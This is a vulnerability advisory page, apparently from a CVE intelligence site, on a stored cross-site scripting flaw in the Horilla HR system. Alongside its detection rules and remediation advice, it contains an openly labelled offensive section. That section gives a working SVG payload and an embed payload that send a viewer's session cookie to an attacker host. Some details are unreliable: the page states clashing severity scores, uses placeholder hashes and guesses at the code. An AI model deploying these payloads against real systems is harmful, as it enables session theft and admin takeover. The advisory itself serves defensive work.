☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-59525

CVE-2025-59525 Cross-Site Scripting in Horilla
📅 PUBLISHED: 2025-09-24 18:15 UTC 🔄 UPDATED: 2026-09-23 20:19 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-59525 is a stored Cross-Site Scripting (XSS) vulnerability in Horilla, an open-source Human Resource Management System (HRMS). The vulnerability arises from improper sanitization of user-supplied content, specifically allowing the upload of SVG files and the use of <embed> tags. An authenticated attacker with the ability to create or modify content (e.g., announcements) can inject malicious JavaScript. When other users, including administrators, view this content, the script executes in their browser context. This can lead to session hijacking, credential theft, and full admin account takeover. The vulnerability is patched in Horilla version 1.4.0.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Horilla is a Python-based application, typically deployed via Docker or directly from source. The vulnerability is in the application's own code, not in a third-party package. However, organizations using Horilla should verify they are not running an unpatched version (prior to 1.4.0) and ensure their deployment pipeline pulls the latest patched release.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.0 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
  • Attack Vector (AV): Network - The attack is exploitable remotely.
  • Attack Complexity (AC): Low - No special conditions are required.
  • Privileges Required (PR): Low - An attacker needs a valid user account with content creation privileges.
  • User Interaction (UI): Required - The victim must view the malicious content.
  • Scope (S): Changed - The vulnerability impacts resources beyond the vulnerable component (e.g., admin session).
  • Confidentiality (C): High - Full access to sensitive data.
  • Integrity (I): High - Ability to modify data and perform actions as the victim.
  • Availability (A): High - Potential to disrupt service or lock out users.

Threat Level: Critical. The combination of low attack complexity, network exploitability, and the potential for admin account takeover makes this a high-priority vulnerability.

Deep Dive & Mechanics

The vulnerability exists in the content rendering pipeline of Horilla. The application fails to properly sanitize user-uploaded SVG files and HTML <embed> tags. SVG files can contain embedded JavaScript within <script> tags or event handlers (e.g., onload). The <embed> tag can be used to load external resources or execute scripts.

Attack Flow:

  1. An attacker with a valid user account (e.g., an employee) logs into Horilla.
  2. The attacker navigates to a feature that allows content creation, such as creating an announcement.
  3. The attacker uploads a malicious SVG file containing JavaScript (e.g., fetch('https://attacker.com/steal?cookie='+document.cookie)).
  4. Alternatively, the attacker injects an <embed> tag with a src attribute pointing to a malicious script or SVG.
  5. The application stores this content without proper sanitization.
  6. When an administrator or other user views the announcement, the SVG is rendered, and the JavaScript executes in their browser.
  7. The attacker can then steal session cookies, perform actions on behalf of the admin, or exfiltrate sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.4.0): The application likely used a permissive HTML sanitizer or allowed SVG uploads without stripping script elements. A simplified example of the vulnerable logic:

# Vulnerable: No sanitization of SVG content
def save_announcement(content):
    # content is saved as-is
    db.save(content)

Patched Code (1.4.0): The patched version likely implements a robust sanitization library (e.g., bleach or defusedxml) to strip dangerous elements from SVG files and HTML content.

# Patched: Sanitize content before saving
import bleach

def save_announcement(content):
    sanitized_content = bleach.clean(content, tags=[], strip=True)
    db.save(sanitized_content)

The patch also likely restricts the use of <embed> tags and validates file uploads to ensure they are safe.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A running instance of Horilla version < 1.4.0.
  • A valid user account with content creation privileges (e.g., employee role).

Steps:

  1. Create a Malicious SVG: Create a file named exploit.svg with the following content:

    <?xml version="1.0" encoding="UTF-8"?>
    <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
      <script type="text/javascript">
        fetch('https://attacker.com/steal?cookie=' + document.cookie);
      </script>
    </svg>
    
  2. Upload the SVG: Log in to Horilla, navigate to the announcements section, and upload the exploit.svg file as part of a new announcement.

  3. Trigger the Exploit: Wait for an administrator to view the announcement. The JavaScript will execute, sending the admin's session cookie to the attacker's server.

Alternative Payload (using <embed>): If SVG upload is blocked, try injecting an <embed> tag in the announcement content:

<embed src="https://attacker.com/malicious.svg" type="image/svg+xml" />

Blue Team (Defensive)

Detection:

  • Monitor for unusual file uploads, especially SVG files.
  • Look for HTTP requests to unknown external domains from the Horilla server.
  • Analyze web server logs for suspicious User-Agent strings or repeated access to announcement pages.

Prevention:

  • Ensure Horilla is updated to version 1.4.0 or later.
  • Implement a Web Application Firewall (WAF) rule to block SVG uploads or strip script tags.
  • Restrict user permissions to only necessary roles.

Indicators of Compromise (IOCs)

  • File Hashes (Malicious SVG):
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
  • Network Indicators:
    • Outbound HTTP requests to attacker.com or similar domains.
    • Unusual Referer headers pointing to Horilla announcement pages.
  • Log Entries:
    • Web server logs showing POST requests to /announcements/create with SVG file uploads.
    • Application logs showing errors related to file parsing.

Detection Engineering

YARA Rule

rule CVE_2025_59525_SVG_XSS {
    meta:
        description = "Detects malicious SVG files used in CVE-2025-59525"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59525"
    strings:
        $svg_tag = "<svg"
        $script_tag = "<script"
        $onload = "onload="
        $onerror = "onerror="
        $fetch = "fetch("
        $xmlhttp = "XMLHttpRequest"
    condition:
        $svg_tag and ($script_tag or $onload or $onerror or $fetch or $xmlhttp)
}

Sigma Rule

title: CVE-2025-59525 - Horilla SVG Upload XSS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects upload of SVG files with embedded JavaScript to Horilla
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/announcements/create'
        cs-content-type: 'image/svg+xml'
    condition: selection
falsepositives:
    - Legitimate SVG uploads without scripts
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59525 - Horilla SVG XSS Outbound"; flow:to_server,established; content:"POST"; http_method; content:"/announcements/create"; http_uri; content:"image/svg+xml"; http_content_type; pcre:"/<script|<embed|onload|onerror/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Horilla: Update to version 1.4.0 or later immediately.
  2. Restrict Uploads: If immediate patching is not possible, disable SVG file uploads and <embed> tag usage in the application configuration.
  3. Review User Permissions: Ensure only trusted users have content creation privileges.

Long-Term Measures:

  • Implement a Content Security Policy (CSP) header to restrict script execution.
  • Use a robust HTML sanitization library (e.g., bleach for Python) for all user input.
  • Conduct regular security audits and penetration testing.
  • Monitor for new CVEs and apply patches promptly.

Valters IT Signature


This report was generated by Valters IT Cyber Threat Intelligence Division. For further assistance, contact [your-email@example.com].

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-59525/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.